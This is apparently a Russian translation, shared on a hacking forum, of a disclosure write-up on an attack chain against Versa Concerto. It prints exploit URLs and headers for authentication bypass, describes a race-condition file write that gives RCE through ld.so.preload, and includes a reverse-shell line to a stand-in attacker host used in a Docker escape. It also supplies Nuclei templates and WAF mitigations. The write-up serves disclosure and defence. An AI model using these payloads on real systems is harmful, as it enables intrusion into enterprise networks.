Анализ уязвимостей в Versa Concerto: От обхода аутентификации до RCE
Введение
Versa Concerto — это широко используемая платформа для оркестрации SD-WAN и сетевой безопасности, предназначенная для обеспечения бесшовного управления политиками, аналитики и автоматизации для предприятий. С ростом клиентской базы, включающей крупные предприятия, поставщиков услуг и государственные учреждения, безопасность этой платформы имеет решающее значение. Учитывая ее широкое распространение и потенциальную подверженность внешним угрозам, мы инициировали исследование для оценки ее уровня защищенности и выявления возможных уязвимостей.
Наше исследование привело к обнаружению множества критических недостатков безопасности в развертывании Versa Concerto. В этой статье мы рассмотрим связку уязвимостей в приложении на базе Spring Boot, развернутом в Docker-контейнерах и маршрутизируемом через Traefik.
- Обход аутентификации из-за несоответствий при декодировании URL.
- Уязвимости произвольной записи файлов, ведущие к удаленному выполнению кода (RCE).
- Эксплуатация уязвимой версии Traefik для обхода ограничений безопасности и доступа к эндпоинтам Spring Boot Actuator.
- Побег из Docker-контейнера за счет использования некорректно настроенных монтирований томов для перезаписи системных бинарных файлов.
Эти уязвимости, связанные в одну цепочку, могут позволить злоумышленнику полностью скомпрометировать как само приложение, так и базовую хост-систему. Данное исследование подчеркивает, как небольшие мисконфигурации в современных облачных развертываниях могут перерасти в серьезные риски безопасности, особенно для платформ, обрабатывающих чувствительные сетевые конфигурации и корпоративные данные.
Несоответствие в обработке URL, приводящее к обходу аутентификации
Versa Concerto развернута с использованием нескольких Docker-контейнеров, ключевыми из которых являются:
- core-service
- web-service
- traefik
Чтобы понять маршрутизацию в системе, мы начали с анализа контейнера Traefik. Контейнер Traefik прослушивает порты 80/443, служа точкой входа для клиентских запросов. В зависимости от конфигураций
location, входящие запросы маршрутизируются либо в core-service, либо в web-service. Оба этих контейнера разворачивают встроенные приложения Spring Boot. Мы декомпилировали их код, чтобы проаудировать механизмы аутентификации.Наш основной фокус был на классе
AuthenticationFilter, который обычно отвечает за обработку аутентификации в приложениях Spring. При изучении декомпилированного кода мы заметили, что определенные пути были явно исключены из аутентификации:
Java:
String clienturi = URIUtil.getNormalizeURI(request);
...
if (clienturi.contains("/actuator") || clienturi.endsWith("/v1/ping") ...) {
skipAuth = true;
}
...
Однако мы заметили несоответствие между проверкой аутентификации и фактическим обрабатываемым URL.
Java:
public static String getNormalizeURI(HttpServletRequest request) {
String uri = request.getRequestURI();
return removeExtraSlash(URLDecoder.decode(URI.create(uri).normalize().toString(), StandardCharsets.UTF_8));
}
- Во время проверки аутентификации REQUEST_URI подвергается URL-декодированию.
- Однако в контроллеры URL передается для обработки без декодирования.
- Это создает проблему "Время проверки — время использования" (TOCTOU), что приводит к обходу аутентификации.
Обойти аутентификацию можно с помощью URL-запроса вида:
/portalapi/v1/users/username/admin;%2fv1%2fpingПоиск эндпоинта без проверок авторизации
Обнаружив обход аутентификации, мы проанализировали механизмы авторизации в сервисах. Большинство эндпоинтов применяли строгие проверки авторизации, проверяя назначенную пользователю роль. В результате мы не смогли получить доступ к большинству критических эндпоинтов в
core-service. Лишь немногие эндпоинты были доступны без проверок авторизации, но они не предоставляли реального пути для повышения привилегий.Переключив внимание на
web-service, мы обнаружили эндпоинт, связанный с загрузкой пакетов — /portalapi/v1/package/spack/upload, — который, по-видимому, был уязвим для произвольной записи файлов. Логика этого эндпоинта предполагала, что мы можем записывать файлы в произвольное место в системе, что делало его многообещающим вектором для дальнейшей эксплуатации.
Java:
@PostMapping(value = {"spack/upload"}, produces = {"application/json"}, consumes = {"multipart/form-data"})
@ResponseBody
@ResponseStatus(HttpStatus.ACCEPTED)
public ResponseEntity<?> upload(HttpServletRequest httpRequest, HttpServletResponse httpResponse, @RequestParam(name = "spackFile", required = true) MultipartFile spackFile, @RequestParam(name = "spackChecksumFile", required = true) MultipartFile spackChecksumFile, @RequestParam(value = "updatetype", defaultValue = "full") String updateType, @RequestParam(value = "flavour", defaultValue = "premium") String flavour) throws Exception {
String spackFilePath = "/var/versa/ecp/share/files/" + spackFile.getOriginalFilename();
String spackSigFilePath = "/var/versa/ecp/share/files/" + spackChecksumFile.getOriginalFilename();
try {
copyPackage(spackFile, spackFilePath); // [1]
copyPackage(spackChecksumFile, spackSigFilePath); // [2]
String bearerToken = UserContextHolder.getContext().getUserAccessTken(); // [3]
if (bearerToken != null) {
...
}
Status status = new Status();
status.setStatus("Bearer Token empty");
return new ResponseEntity<>(status, HttpStatus.INTERNAL_SERVER_ERROR);
} catch (Exception e) {
Files.deleteIfExists(Paths.get(spackFilePath, new String[0])); // [4]
Files.deleteIfExists(Paths.get(spackSigFilePath, new String[0])); // [5]
logger.error("Error while uploading Spack", (Throwable) e);
return handleException(e, httpRequest);
}
}
private synchronized void copyPackage(MultipartFile uploadFile, String filePath) throws Exception {
Files.deleteIfExists(Paths.get(filePath, new String[0]));
InputStream inputStream = uploadFile.getInputStream();
try {
Files.copy(inputStream, Paths.get(filePath, new String[0]), new CopyOption[0]);
if (inputStream != null) {
inputStream.close();
}
} catch (Throwable th) {
if (inputStream != null) {
try {
inputStream.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
}
Несмотря на очевидную уязвимость, возникло серьезное препятствие. Хотя файл успешно записывался на диск в точках [1] и [2], он немедленно удалялся внутри блока try/catch в точках [4] и [5]. Если во время выполнения возникало какое-либо исключение, приложение запускало процесс очистки, который удалял загруженный файл. В частности, сразу после записи файлов в [1] и [2], код пытался получить токен доступа из контекста текущего пользователя в точке [3]. Эта проверка приводила к исключению
null pointer, что, в свою очередь, вызывало удаление нашего записанного файла в точках [4] и [5].Несмотря на то, что файл удалялся почти мгновенно, существует краткое временное окно, в котором возможна произвольная запись файла. Это создавало возможность для эксплуатации состояния гонки (race condition), которую потенциально можно было использовать для удаленного выполнения кода с помощью записанного файла.
Состояние гонки и удаленное выполнение кода (RCE)
Изначально мы рассматривали возможность эксплуатации уязвимости путем записи веб-шелла в корневой каталог веб-сервера. Однако, поскольку это было встроенное приложение Spring Boot, оно не следовало традиционной структуре обслуживания файлов, а это означало, что мы не могли просто "закинуть" шелл и выполнить его, как в обычном веб-приложении.
Отказавшись от этого подхода, мы изучили возможность использования задач
cron для выполнения кода. Однако после дальнейшего расследования мы обнаружили, что в контейнере web-service не был настроен cron, что также исключило этот вариант. Это заставило нас пересмотреть нашу стратегию и искать альтернативные методы выполнения.Затем мы использовали трюк с LD_PRELOAD для достижения удаленного выполнения кода. Наш подход заключался в перезаписи файла
../../../../../../etc/ld.so.preload с путем, указывающим на /tmp/hook.so. Одновременно мы загружали /tmp/hook.so, который содержал скомпилированный бинарный файл на C для обратного шелла (reverse shell). Поскольку наш запрос инициировал две операции записи файлов, мы воспользовались этим, чтобы оба файла были записаны в рамках одного запроса.Как только эти файлы были успешно записаны, любое выполнение команды в системе, пока они оба существуют, приводило бы к выполнению
/tmp/hook.so, тем самым предоставляя нам обратный шелл. В поисках подходящего триггера мы заметили, что команда curl выполнялась каждые 10 секунд внутри контейнера web-service для проверки состояния работоспособности (health check) контейнера.Зная это, мы непрерывно отправляли запросы на запись как
../../../../../../etc/ld.so.preload, так и /tmp/hook.so, создавая состояние гонки. Наша цель состояла в том, чтобы в тот самый момент, когда выполняется проверка работоспособности, оба файла присутствовали в системе. Когда все три условия совпали — наличие ld.so.preload, вредоносного разделяемого объекта и запуск системной команды — мы успешно добились удаленного выполнения кода (RCE).
Обход аутентификации эндпоинта Actuator
Анализируя фильтр аутентификации, мы заметили, что контроль доступа к некоторым эндпоинтам, включая эндпоинты Spring Boot Actuator, зависел от наличия заголовка
X-Real-Ip. В частности, если этот заголовок был установлен, приложение выполняло дополнительную проверку, чтобы определить, следует ли предоставлять доступ.
Java:
String clientReapIp = request.getHeader("X-Real-Ip");
...
if (StringUtils.isNotBlank(clientReapIp)) {
if (clinturi.toLowerCase().contains("/actuator")) {
this.springBootAuditUtil.extractAuditInfo(request);
logger.warn("Blocked external access to actuator uri={} from source ip={}", clinturi, clientReapIp);
audit.setReadableText("Blocked access to /actuator for external source IP=" + clientReapIp);
audit.setObjectType("Actuator");
audit.setTenantName(GraphConstant.DEFAULT_TENANT);
response.setStatus(HttpStatus.FORBIDDEN.value());
response.getWriter().write("{ \"message\": \"Access denied to /actuator.\"}");
audit.setStatus(HttpStatus.FORBIDDEN.toString());
return;
}
...
Эта логика гарантирует, что если внешний запрос содержит
X-Real-Ip, а URI запроса содержит /actuator, доступ будет явно запрещен.Как уже упоминалось, клиентские запросы сначала отправляются на обратный прокси-сервер Traefik, который затем перенаправляет их в приложения Spring Boot, работающие на Tomcat. Traefik автоматически устанавливает заголовок
X-Real-Ip при перенаправлении запросов, что означает, что внешние запросы всегда помечаются как исходящие от внешнего источника.Однако мы обнаружили уязвимость обработки заголовков hop-by-hop в используемой версии Traefik. Эта проблема, задокументированная в рекомендации по безопасности Traefik GHSA-62c8-mh53-4cqv, позволяет злоумышленнику удалять определенные заголовки, которые в противном случае были бы добавлены Traefik.
Используя эту проблему, мы можем удалить заголовок X-Real-Ip из перенаправляемого запроса. Без этого заголовка логика контроля доступа никогда не срабатывает, и мы можем получить доступ к ограниченным эндпоинтам Actuator.
HTTP:
GET /actuator HTTP/1.1
Host: <Host>
Connection: X-Real-IP
Установив заголовок
Connection: X-Real-IP, мы даем указание Traefik удалить заголовок X-Real-Ip перед перенаправлением запроса на бэкенд. Поскольку логика аутентификации зависит от наличия этого заголовка, запрос обходит проверку безопасности, предоставляя нам прямой доступ к эндпоинтам /actuator.Это позволяет получить учетные данные в открытом виде, скачав дамп кучи (heap-dump), или напрямую получить доступ к логам через
/portalapi/actuator/traces, что приведет к утечке токенов сессий залогиненных пользователей и позволит войти в систему под правами администратора. Как только вы становитесь администратором, появляются различные пути для получения удаленного выполнения кода, например, путем загрузки пакета безопасности.Побег из Docker-контейнера web-service
Мы также обнаружили критическую мисконфигурацию, которая позволила нам выйти из Docker-контейнера
web-service и получить выполнение кода на хост-машине.В системах Ubuntu по умолчанию существует задача cron в файле
/etc/cron.d/popularity-contest, предназначенная для сбора статистики использования установленных пакетов Debian. Эта задача cron выполняется каждый час на хост-машине, запуская shell-скрипт, который использует такие команды, как test, touch и cd.Обычно это не представляет угрозы безопасности. Однако в данном случае мы обнаружили, что в Docker-контейнере
core-service каталоги /usr/bin/ и /bin/ были напрямую смонтированы (mapped) в файловую систему хоста. Это означало, что любые изменения, внесенные в бинарные файлы внутри контейнера, также применялись к хост-системе.Имея root-доступ внутри контейнера, мы воспользовались этой мисконфигурацией, чтобы перезаписать один из часто используемых бинарных файлов (
test) вредоносным shell-скриптом. Это гарантировало, что когда задача popularity-contest будет выполняться на хосте, сработает наша полезная нагрузка.Имея полный контроль над смонтированными системными бинарными файлами, мы заменили
/usr/bin/test скриптом, который инициировал обратный шелл:
Bash:
#!/bin/bash
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Сделав скрипт исполняемым, мы стали ждать ежечасного запуска задачи cron. Как и ожидалось, когда задача cron запустилась, она вызвала наш вредоносный бинарный файл
test, предоставив нам обратный шелл на хост-системе Concerto.Шаблоны Nuclei
Обход аутентификации API Versa Concerto:
Versa Concerto API Path Based - Authentication Bypass
Обход аутентификации в API Versa Concerto, вызванный несоответствиями при декодировании URL. Это позволяло неавторизованно получать доступ к определенным эндпоинтам API путем манипулирования путем URL. Эта проблема позволяла злоумышленникам обходить контроль аутентификации и получать доступ к ограниченным ресурсам. (Дайте знать в комментариях, если вы хотите, чтобы я перевел статью и по этой ссылке.)
YAML:
id: versa-concerto-api-auth-bypass
info:
name: Versa Concerto API Path Based - Authentication Bypass
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-534530225
tags: versa,concerto,api,auth-bypass
http:
- raw:
- |
GET /portalapi/v1/roles/option;%2fv1%2fping HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- ENTERPRISE_ADMINISTRATOR
- type: word
part: header
words:
- EECP-CSRF-TOKEN
Обход аутентификации Actuator в Versa Concerto:
Versa Concerto Actuator Endpoint - Authentication Bypass
Уязвимость обхода аутентификации затрагивала эндпоинты Spring Boot Actuator в Versa Concerto из-за неправильной обработки заголовка
X-Real-Ip. Злоумышленники могли получить доступ к ограниченным эндпоинтам, пропустив этот заголовок. Проблема позволяла получить несанкционированный доступ к чувствительной функциональности, что подчеркивает необходимость правильной валидации заголовков. (Дайте знать в комментариях, если вы хотите, чтобы я перевел статью и по этой ссылке.)
YAML:
id: versa-concerto-actuators-auth-bypass
info:
name: Versa Concerto Actuator Endpoint - Authentication Bypass
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-534530225
tags: versa,concerto,actuator,auth-bypass,spring-boot
http:
- raw:
- |
GET /portalapi/actuator HTTP/1.1
Host: {{Hostname}}
Connection: X-Real-Ip
matchers-condition: and
matchers:
- type: word
part: body
words:
- heapdump
- type: word
part: header
words:
- EECP-CSRF-TOKEN
Меры по смягчению последствий
Пока мы ожидаем официальных патчей от команды Versa Concerto, организации могут принять временные меры по устранению уязвимостей на уровне обратного прокси-сервера или межсетевого экрана для веб-приложений (WAF), чтобы снизить риски, связанные с обнаруженными уязвимостями. Вот два рекомендуемых действия:
- Блокировать точки с запятой в путях URL: Внедрите правило для блокировки любых входящих запросов, содержащих точку с запятой (
;) в пути URL. Эта мера поможет предотвратить эксплуатацию несоответствия при декодировании URL, которое позволяет обойти аутентификацию. - Отбрасывать запросы с определенными заголовками Connection: Настройте ваш обратный прокси-сервер или WAF на отбрасывание любых запросов, в которых заголовок
Connectionсодержит значениеX-Real-Ip(без учета регистра). Это смягчит уязвимость, позволяющую несанкционированно получать доступ к эндпоинтам Spring Boot Actuator путем манипулирования заголовкомX-Real-Ip.
Применяя эти временные меры, организации могут снизить риск эксплуатации до выхода официальных патчей. Крайне важно отслеживать сетевой трафик и логи на предмет любой подозрительной активности и информировать команды безопасности об этих временных мерах защиты.
Хронология раскрытия информации
Несмотря на наши усилия по ответственному раскрытию этих проблем команде Versa, включая многократные повторные обращения за последние 90 дней, мы не получили никакого ответа или информации о предстоящем патче. В результате мы вынуждены опубликовать наши выводы, чтобы повысить осведомленность и побудить к необходимым действиям для защиты затронутых систем.
Вот таблица с хронологией процесса раскрытия уязвимостей:
| Дата | Событие |
|---|---|
| 13 февраля 2025 г. | Об уязвимостях сообщено команде Versa Concerto с 90-дневным сроком раскрытия. |
| 15 февраля 2025 г. | Получено подтверждение; команда запросила дополнительную информацию и выразила готовность выпустить патч. |
| 17 февраля 2025 г. | Предоставлены дополнительные детали; команда заявила, что скоро выпустит патчи для всех затронутых версий. |
| 28 марта 2025 г. | Команда ответила, указав, что хотфиксы и патчи будут выпущены 7 апреля. |
| 23 апреля 2025 г. | Отправлено повторное письмо относительно хотфиксов и патчей; ответ не получен. |
| 12 мая 2025 г. | Отправлено еще одно повторное письмо; ответа по-прежнему нет. |
| 13 мая 2025 г. | 90-дневный срок раскрытия информации истек. |
| 21 мая 2025 г. | Опубликована эта статья. |
| 21 мая 2025 г. | VulnCheck присвоил CVE для сообщенных проблем:
|
| 24 мая 2025 г. | Versa опубликовала патчи: |
Заключение
В заключение, наше исследование платформы Versa Concerto выявило несколько критических уязвимостей, которые представляют значительные риски безопасности для предприятий, использующих эту технологию. Эти уязвимости, варьирующиеся от обходов аутентификации до удаленного выполнения кода и побегов из контейнеров, подчеркивают потенциал для серьезной эксплуатации, если их оставить без внимания.
Мы настоятельно призываем организации, использующие Versa Concerto, внедрить дополнительные меры безопасности и сохранять бдительность до тех пор, пока не будут выпущены официальные патчи. Мы надеемся, что это раскрытие информации ускорит процесс решения проблем и повысит общий уровень защищенности платформы.
Перевод подготовлен с любовью S3VE7N для комьюнити XSS 
Поддержать автора и будущие переводы:
BTC:
Код:
bc1qktt7uhzptuvfv4dqqd634m0jzk4345p09xlkcj
Код:
0xd8fDa0D2aa5AE187968041306c7f28618744221B
Код:
ltc1qvl8w6nguls78tze5xlf9x5wxd3h6pwl0x2nm7j